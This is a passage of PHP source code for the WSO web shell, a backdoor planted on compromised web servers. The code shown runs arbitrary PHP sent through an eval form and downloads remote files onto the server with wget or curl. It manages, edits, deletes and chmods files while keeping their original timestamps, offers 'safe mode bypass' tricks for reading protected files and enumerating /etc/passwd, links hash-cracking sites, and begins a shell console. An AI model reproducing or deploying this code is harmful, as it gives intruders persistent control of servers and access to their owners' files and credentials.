728 if (@is_object($value)) $value = (array) $value;
729 if (@is_array($value))
730 {
731 @ob_start();
732 print_r($value);
733 $value = @ob_get_contents();
734 @ob_end_clean();
735 }
736 return U_wordwrap((string) $value);
737 }
738function U_wordwrap($str)
739 {
740 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
741 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
742 }
743if (@function_exists('ini_get_all'))
744 {
745 $r = '';
746 echo '<table width=100% border=1px>', '<tr><td><div align=center><b>Directive</b></div></font></td><td><div align=center><b>Local Value</b></div></td><td><div align=center><b>Master Value</b></div></td></tr>';
747 foreach (@ini_get_all() as $key=>$value)
748 {
749 $r .= '<tr><td>   <b>'.$key.'</b></td><td><div align=center><b>'.U_value($value['local_value']).'</b></div></td><td><div align=center><b>'.U_value($value['global_value']).'</b></div></td></tr>';
750 }
751 echo $r;
752 echo '</table>';
753 }
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782 //
783 $tmp = ob_get_clean();
784 $tmp = preg_replace('!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU','',$tmp);
785 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
786 echo str_replace('h1','h2',$tmp).'</div><br>';
787 }
788
789
790
791
792
793
794
795
796 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
797 @$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
798 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
799 echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
800 if(!empty($_POST['p1'])) {
801 ob_start();
802 eval($_POST['p1']);
803 echo htmlspecialchars(ob_get_clean());
804 }
805 echo '</pre></div>';
806 wsoFooter();
807}
808
809
810
811function remup() {
812
813$tool = $_POST['charset'];
814$url = $_POST['p3'];
815$place = $_POST['p2'];
816
817 switch($tool)
818 {
819 case wget:
820 $cmdup = wsoWhich('wget')." ".$url.' -O '.$place;
821 break;
822 case fetch:
823 $cmdup = wsoWhich('fetch')." -o ".$place." -p ".$url;
824 break;
825 case lynx:
826 $cmdup = wsoWhich('lynx')." -source ".$url." > ".$place."";
827 break;
828 case links:
829 $cmdup = wsoWhich('links')." -source ".$url." > ".$place."";
830 break;
831 case GET:
832 $cmdup = wsoWhich('GET')." ".$url." > ".$place."";
833 break;
834 case curl:
835 $cmdup = wsoWhich('curl')." ".$url." -o ".$place."";
836 break;
837 }
838
839wsoEx($cmdup);
840
841
842
843
844
845return 0;
846}
847
848
849
850function actionFilesMan() {
851if($_POST['p1'] != 'edit') wsoHeader();
852 //wsoHeader();
853
854 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
855 if(!empty($_POST['p1'])) {
856 switch($_POST['p1']) {
857 case 'edit':
858 $_POST['p1'] = $_POST['f'][0];
859 $_POST['p2'] = 'edit';
860 $_POST['p3'] = "";
861 $_POST['a'] = 'FilesTools';
862 actionFilesTools(); exit; break;
863
864
865
866 case 'uploadFile':
867 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
868 echo "Can't upload file!";
869 break;
870 case 'mkdir':
871 if(!@mkdir($_POST['p2']))
872 echo "Can't create new dir";
873 break;
874 case 'rem':
875 remup(); break;
876
877
878 case 'delete':
879 function deleteDir($path) {
880 $path = (substr($path,-1)=='/') ? $path:$path.'/';
881 $dh = opendir($path);
882 while ( ($item = readdir($dh) ) !== false) {
883 $item = $path.$item;
884 if ( (basename($item) == "..") || (basename($item) == ".") )
885 continue;
886 $type = filetype($item);
887 if ($type == "dir")
888 deleteDir($item);
889 else
890 @unlink($item);
891 }
892 closedir($dh);
893 rmdir($path);
894 }
895 if(is_array(@$_POST['f']))
896 foreach($_POST['f'] as $f) {
897 if($f == '..')
898 continue;
899
900 $f = urldecode($f);
901 if(is_dir($f))
902 deleteDir($f);
903 else
904 @unlink($f);
905 }
906 break;
907 case 'paste':
908 if($_SESSION['act'] == 'copy') {
909 function copy_paste($c,$s,$d){
910 if(is_dir($c.$s)){
911 mkdir($d.$s);
912 $h = @opendir($c.$s);
913 while (($f = @readdir($h)) !== false)
914 if (($f != ".") and ($f != "..")) {
915 copy_paste($c.$s.'/',$f, $d.$s.'/');
916 }
917 } elseif(is_file($c.$s)) {
918 @copy($c.$s, $d.$s);
919 }
920 }
921 foreach($_SESSION['f'] as $f)
922 copy_paste($_SESSION['c'],$f, $GLOBALS['cwd']);
923 } elseif($_SESSION['act'] == 'move') {
924 function move_paste($c,$s,$d){
925 if(is_dir($c.$s)){
926 mkdir($d.$s);
927 $h = @opendir($c.$s);
928 while (($f = @readdir($h)) !== false)
929 if (($f != ".") and ($f != "..")) {
930 copy_paste($c.$s.'/',$f, $d.$s.'/');
931 }
932 } elseif(@is_file($c.$s)) {
933 @copy($c.$s, $d.$s);
934 }
935 }
936 foreach($_SESSION['f'] as $f)
937 @rename($_SESSION['c'].$f, $GLOBALS['cwd'].$f);
938 } elseif($_SESSION['act'] == 'zip') {
939 if(class_exists('ZipArchive')) {
940 $zip = new ZipArchive();
941 if ($zip->open('wso_'.date("Ymd_His").'.zip', (int)@eval('return ZIPARCHIVE::CREATE;'))) {
942 chdir($_SESSION['c']);
943 foreach($_SESSION['f'] as $f) {
944 if(@is_file($_SESSION['c'].$f))
945 $zip->addFile($_SESSION['c'].$f, $f);
946 elseif(@is_dir($_SESSION['c'].$f)) {
947 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/'));
948 foreach ($iterator as $key=>$value) {
949 $zip->addFile(realpath($key), $key);
950 }
951 }
952 }
953 chdir($GLOBALS['cwd']);
954 $zip->close();
955 }
956 }
957 } elseif($_SESSION['act'] == 'unzip') {
958 if(class_exists('ZipArchive')) {
959 $zip = new ZipArchive();
960 foreach($_SESSION['f'] as $f) {
961 if($zip->open($_SESSION['c'].$f)) {
962 $zip->extractTo($GLOBALS['cwd']);
963 $zip->close();
964 }
965 }
966 }
967
968 }
969 elseif($_SESSION['act'] == 'tar') {
970 chdir($_SESSION['c']);
971 $_SESSION['f'] = array_map('escapeshellarg', $_SESSION['f']);
972 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_SESSION['f']));
973 chdir($GLOBALS['cwd']);
974
975
976
977 }
978 unset($_SESSION['f']);
979 break;
980 default:
981 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')||($_POST['p1'] == 'zip')||($_POST['p1'] == 'unzip')) ) {
982 $_SESSION['act'] = @$_POST['p1'];
983 $_SESSION['f'] = @$_POST['f'];
984 foreach($_SESSION['f'] as $k => $f)
985 $_SESSION['f'][$k] = urldecode($f);
986 $_SESSION['c'] = @$_POST['c'];
987 }
988 break;
989 }
990 }
991 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
992 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
993 global $sort;
994 $sort = array('name', 1);
995 if(!empty($_POST['p1'])) {
996 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
997 $sort = array($match[1], (int)$match[2]);
998 }
999echo "<script>
1000 function sa() {
1001 for(i=0;i<document.files.elements.length;i++)
1002 if(document.files.elements[i].type == 'checkbox')
1003 document.files.elements[i].checked = document.files.elements[0].checked;
1004 }
1005</script>
1006<table width='100%' class='main' cellspacing='0' cellpadding='2'>
1007<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Actions</th></tr>";
1008 $dirs = $files = array();
1009 $n = count($dirContent);
1010 for($i=0;$i<$n;$i++) {
1011 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
1012 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
1013 $tmp = array('name' => $dirContent[$i],
1014 'path' => $GLOBALS['cwd'].$dirContent[$i],
1015 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
1016 'perms' => wsoPermsColor($GLOBALS['cwd'].$dirContent[$i]),
1017 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
1018 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
1019 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
1020 );
1021 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
1022 $files[] = array_merge($tmp, array('type' => 'file'));
1023 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
1024 $dirs[] = array_merge($tmp, array('type' => 'link'));
1025 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
1026 $dirs[] = array_merge($tmp, array('type' => 'dir'));
1027 }
1028 $GLOBALS['sort'] = $sort;
1029 function wsoCmp($a, $b) {
1030 if($GLOBALS['sort'][0] != 'size')
1031 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
1032 else
1033 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
1034 }
1035 usort($files, "wsoCmp");
1036 usort($dirs, "wsoCmp");
1037 $files = array_merge($dirs, $files);
1038 $l = 1;
1039 foreach($files as $f) {
1040 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms'].'</a></td><td>'.$f['owner'].'/'.$f['group'].'</td><td>'.$f['modify']
1041 .'</a></td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
1042 $l = $l?0:1;
1043 }
1044
1045
1046 echo '</table><br>';
1047 echo "
1048 <input type=hidden name=a value='FilesMan'>
1049 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
1050 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
1051 <select name='p1'><option value='edit'>Edit</option><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
1052 if(class_exists('ZipArchive'))
1053 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
1054 if(!empty($_SESSION['act'])&&@count($_SESSION['f']))
1055 echo "<option value='paste'>Paste / zip</option>";
1056 echo "</select> <input type='submit' value='>>'></form></div>";
1057 wsoFooter();
1058
1059}
1060
1061function actionStringTools() {
1062 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
1063 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
1064 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
1065 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
1066 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
1067 $stringTools = array(
1068 'Base64 encode' => 'base64_encode',
1069 'Base64 decode' => 'base64_decode',
1070 'Url encode' => 'urlencode',
1071 'Url decode' => 'urldecode',
1072 'Full urlencode' => 'full_urlencode',
1073 'md5 hash' => 'md5',
1074 'sha1 hash' => 'sha1',
1075 'crypt' => 'crypt',
1076 'CRC32' => 'crc32',
1077 'ASCII to HEX' => 'ascii2hex',
1078 'HEX to ASCII' => 'hex2ascii',
1079 'HEX to DEC' => 'hexdec',
1080 'HEX to BIN' => 'hex2bin',
1081 'DEC to HEX' => 'dechex',
1082 'DEC to BIN' => 'decbin',
1083 'BIN to HEX' => 'binhex',
1084 'BIN to DEC' => 'bindec',
1085 'String to lower case' => 'strtolower',
1086 'String to upper case' => 'strtoupper',
1087 'Htmlspecialchars' => 'htmlspecialchars',
1088 'String length' => 'strlen',
1089 );
1090 if(isset($_POST['ajax'])) {
1091 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1092 ob_start();
1093 if(in_array($_POST['p1'], $stringTools))
1094 echo $_POST['p1']($_POST['p2']);
1095 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1096 echo strlen($temp), "\n", $temp;
1097 exit;
1098 }
1099 wsoHeader();
1100 echo '<h1>String conversions</h1><div class=content>';
1101 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1102 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1103 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
1104 foreach($stringTools as $k => $v)
1105 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
1106 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
1107 if(!empty($_POST['p1'])) {
1108 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
1109 }
1110 echo"</pre></div><br><h1>Search text in files:</h1><div class=content>
1111 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
1112 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
1113 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
1114 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
1115 <tr><td></td><td><input type='submit' value='>>'></td></tr>
1116 </table></form>";
1117
1118 function wsoRecursiveGlob($path) {
1119 if(substr($path, -1) != '/')
1120 $path.='/';
1121 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
1122 if(is_array($paths)&&@count($paths)) {
1123 foreach($paths as $item) {
1124 if(@is_dir($item)){
1125 if($path!=$item)
1126 wsoRecursiveGlob($item);
1127 } else {
1128 if(@strpos(@file_get_contents($item), @$_POST['p2'])!==false)
1129 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\")'>".htmlspecialchars($item)."</a><br>";
1130 }
1131 }
1132 }
1133 }
1134 if(@$_POST['p3'])
1135 wsoRecursiveGlob($_POST['c']);
1136 echo "</div><br><h1>Search for hash:</h1><div class=content>
1137 <form method='post' target='_blank' name='hf'>
1138 <input type='text' name='hash' style='width:200px;'><br>
1139 <input type='button' value='hashcrack.com' onclick=\"document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()\"><br>
1140 <input type=hidden name=__EVENTTARGET value=Button1>
1141 <input type=hidden name=ctl00\$ContentPlaceHolder1\$Button1 value=»Ñкать>
1142 <input type=hidden name=ctl00\$ContentPlaceHolder1\$InputHashType value=md5>
1143 <input type=hidden name=ctl00\$ContentPlaceHolder1\$TextBoxq>";
1144
1145 echo "
1146 <input type='button' value='cmd5.ru' onclick=\"document.hf.action='http://cmd5.ru/';document.hf.submit()\"><br>
1147 <input type='button' value='hashcracking.info' onclick=\"document.hf.action='https://hashcracking.info/index.php';document.hf.submit()\"><br>
1148 <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
1149 <input type='button' value='md5decrypter.com' onclick=\"document.hf.action='http://www.md5decrypter.com/';document.hf.submit()\"><br>
1150 </form></div>";
1151 wsoFooter();
1152}
1153
1154function actionFilesTools() {
1155 if( isset($_POST['p1']) )
1156 $_POST['p1'] = urldecode($_POST['p1']);
1157 if(@$_POST['p2']=='download') {
1158 if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
1159 ob_start("ob_gzhandler", 4096);
1160 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
1161 if (function_exists("mime_content_type")) {
1162 $type = @mime_content_type($_POST['p1']);
1163 header("Content-Type: ".$type);
1164 }
1165 $fp = @fopen($_POST['p1'], "r");
1166 if($fp) {
1167 while(!@feof($fp))
1168 echo @fread($fp, 1024);
1169 fclose($fp);
1170 }
1171 }exit;
1172 }
1173 if( @$_POST['p2'] == 'mkfile' ) {
1174 if(!file_exists($_POST['p1'])) {
1175 $fp = @fopen($_POST['p1'], 'w');
1176 if($fp) {
1177 $_POST['p2'] = "edit";
1178 fclose($fp);
1179 }
1180 }
1181 }
1182 wsoHeader();
1183 echo '<h1>File tools</h1><div class=content>';
1184 if( !file_exists(@$_POST['p1']) ) {
1185 echo 'File not exists';
1186 wsoFooter();
1187 return;
1188 }
1189 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
1190 if(!$uid) {
1191 $uid['name'] = @fileowner($_POST['p1']);
1192 $gid['name'] = @filegroup($_POST['p1']);
1193 } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
1194 echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <br><span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <br><span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
1195 echo '<span>Create time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <br><span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <br><span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
1196 if( empty($_POST['p2']) ) {
1197 $_POST['p2'] = 'view';
1198 }
1199 if($_POST['p2'] == 'view') {
1200 if(preg_match('#\.php$#',@basename($_POST['p1']))) { $_POST['p2'] = 'highlight'; }
1201 }
1202 if( is_file($_POST['p1']) )
1203 $m = array('View', 'highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
1204 else
1205 $m = array('Chmod', 'Rename', 'Touch');
1206 foreach($m as $v)
1207
1208 echo '<a href=# onclick="g(null,null,null,\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
1209 echo '<br><br>';
1210
1211 switch($_POST['p2']) {
1212 case 'view':
1213 echo '<pre class=ml1>';
1214 $fp = @fopen($_POST['p1'], 'r');
1215 if($fp) {
1216 while( !@feof($fp) )
1217 echo htmlspecialchars(@fread($fp, 1024));
1218 @fclose($fp);
1219 }
1220 echo '</pre>';
1221 break;
1222 case 'highlight':
1223
1224 if( @is_readable($_POST['p1']) ) {
1225 echo '<div class=ml1 style="background-color:white;color:black;">';
1226 $code = @highlight_file($_POST['p1'],true);
1227 echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
1228 }
1229 break;
1230 case 'chmod':
1231 if( !empty($_POST['p3']) ) {
1232 $perms = 0;
1233 for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
1234 $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
1235 if(!@chmod($_POST['p1'], $perms))
1236 echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
1237 }
1238 clearstatcache();
1239 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
1240 break;
1241 case 'edit':
1242
1243 if( !is_writable($_POST['p1'])) {
1244 echo 'File isn\'t writeable';
1245 break;
1246 }
1247 if( !empty($_POST['p3']) ) {
1248 $time = @filemtime($_POST['p1']);
1249 $_POST['p3'] = substr($_POST['p3'],1);
1250 $fp = @fopen($_POST['p1'],"w");
1251 if($fp) {
1252 @fwrite($fp,$_POST['p3']);
1253 @fclose($fp);
1254 echo 'Saved!<br><script>p3_="";</script>';
1255 @touch($_POST['p1'],$time,$time);
1256 }
1257 }
1258 echo '<form onsubmit="g(null,null,null,null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
1259 $fp = @fopen($_POST['p1'], 'r');
1260 if($fp) {
1261 while( !@feof($fp) )
1262 echo htmlspecialchars(@fread($fp, 1024));
1263 @fclose($fp);
1264 }
1265 echo '</textarea><input type=submit value=">>"></form>';
1266 break;
1267 case 'hexdump':
1268 $c = @file_get_contents($_POST['p1']);
1269 $n = 0;
1270 $h = array('00000000<br>','','');
1271 $len = strlen($c);
1272 for ($i=0; $i<$len; ++$i) {
1273 $h[1] .= sprintf('%02X',ord($c[$i])).' ';
1274 switch ( ord($c[$i]) ) {
1275 case 0: $h[2] .= ' '; break;
1276 case 9: $h[2] .= ' '; break;
1277 case 10: $h[2] .= ' '; break;
1278 case 13: $h[2] .= ' '; break;
1279 default: $h[2] .= $c[$i]; break;
1280 }
1281 $n++;
1282 if ($n == 32) {
1283 $n = 0;
1284 if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
1285 $h[1] .= '<br>';
1286 $h[2] .= "\n";
1287 }
1288 }
1289 echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
1290 break;
1291 case 'rename':
1292 if( !empty($_POST['p3']) ) {
1293 if(!@rename($_POST['p1'], $_POST['p3']))
1294 echo 'Can\'t rename!<br>';
1295 else
1296 die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
1297 }
1298 echo '<form onsubmit="g(null,null,null,null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
1299 break;
1300 case 'touch':
1301 if( !empty($_POST['p3']) ) {
1302 $time = strtotime($_POST['p3']);
1303 if($time) {
1304 if(!touch($_POST['p1'],$time,$time))
1305 echo 'Fail!';
1306 else
1307 echo 'Touched!';
1308 } else echo 'Bad time format!';
1309 }
1310 clearstatcache();
1311 echo '<script>p3_="";</script><form onsubmit="g(null,null,null,null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
1312 break;
1313 }
1314 echo '</div>';
1315 wsoFooter();
1316 exit;
1317}
1318
1319function actionSafeMode() {
1320 $temp='';
1321 ob_start();
1322 switch($_POST['p1']) {
1323 case 1:
1324 $temp=@tempnam($test, 'cx');
1325 if(@copy("compress.zlib://".$_POST['p2'], $temp)){
1326 echo @file_get_contents($temp);
1327 unlink($temp);
1328 } else
1329 echo 'Sorry... Can\'t open file';
1330 break;
1331 case 2:
1332 $files = glob($_POST['p2'].'*');
1333 if( is_array($files) )
1334 foreach ($files as $filename)
1335 echo $filename."\n";
1336 break;
1337 case 3:
1338 $ch = curl_init("file://".$_POST['p2']."\x00".preg_replace('!\(\d+\)\s.*!', '', __FILE__));
1339 curl_exec($ch);
1340 break;
1341 case 4:
1342 ini_restore("safe_mode");
1343 ini_restore("open_basedir");
1344 include($_POST['p2']);
1345 break;
1346 case 5:
1347 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1348 $uid = @posix_getpwuid($_POST['p2']);
1349 if ($uid)
1350 echo join(':',$uid)."\n";
1351 }
1352 break;
1353 }
1354 $temp = ob_get_clean();
1355 wsoHeader();
1356 echo '<h1>Safe mode bypass</h1><div class=content>';
1357 echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input type=text name=param><input type=submit value=">>"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1358 if($temp)
1359 echo '<pre class="ml1" style="margin-top:5px" id="Output">'.htmlspecialchars($temp).'</pre>';
1360 echo '</div>';
1361 wsoFooter();
1362}
1363
1364function actionConsole() {
1365
1366
1367 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
1368 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = true;
1369 $_POST['p1'] .= ' 2>&1';
1370 } elseif(!empty($_POST['p1']))
1371 $_SESSION[md5($_SERVER['HTTP_HOST']).'stderr_to_out'] = false;
1372
1373
1374
1375
1376 if(isset($_POST['ajax'])) {
1377 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1378 ob_start();
1379 echo "document.cf.cmd.value='';\n";
1380 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
1381 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
1382 if(@chdir($match[1])) {
1383 $GLOBALS['cwd'] = @getcwd();
1384 echo "document.mf.c.value='".$GLOBALS['cwd']."';";
1385 }
1386 }
1387 echo "document.cf.output.value+='".$temp."';";
1388 echo "document.cf.output.scrollTop = document.cf.output.scrollHeight;";
1389 $temp = ob_get_clean();
1390 echo strlen($temp), "\n", $temp;
1391 exit;
1392 }
1393 wsoHeader();
1394 echo "<script>
1395if(window.Event) window.captureEvents(Event.KEYDOWN);
1396var cmds = new Array('');
1397var cur = 0;
1398function kp(e) {
1399 var n = (window.Event) ? e.which : e.keyCode;
1400 if(n == 38) {
1401 cur--;
1402 if(cur>=0)
1403 document.cf.cmd.value = cmds[cur];
1404 else
1405 cur++;
1406 } else if(n == 40) {
1407 cur++;
1408 if(cur < cmds.length)
1409 document.cf.cmd.value = cmds[cur];
1410 else
1411 cur--;
1412 }
1413}
1414function add(cmd) {
1415 cmds.pop();
1416 cmds.push(cmd);
1417 cmds.push('');
1418 cur = cmds.length-1;
1419}
1420</script>";
1421 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(document.cf.cmd.value==\'clear\'){document.cf.output.value=\'\';document.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value);}else{g(null,null,this.cmd.value);} return false;"><select name=alias>';
1422 foreach($GLOBALS['aliases'] as $n => $v) {
1423 if($v == '') {
1424 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
1425 continue;
1426 }
1427 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
1428 }
1429 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1430 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1431 echo '</select><input type=button onclick="add(document.cf.alias.value);if(document.cf.ajax.checked){a(null,null,document.cf.alias.value);}else{g(null,null,document.cf.alias.value);}" value=">>"> <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX<br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
1432 if(!empty($_POST['p1'])) {
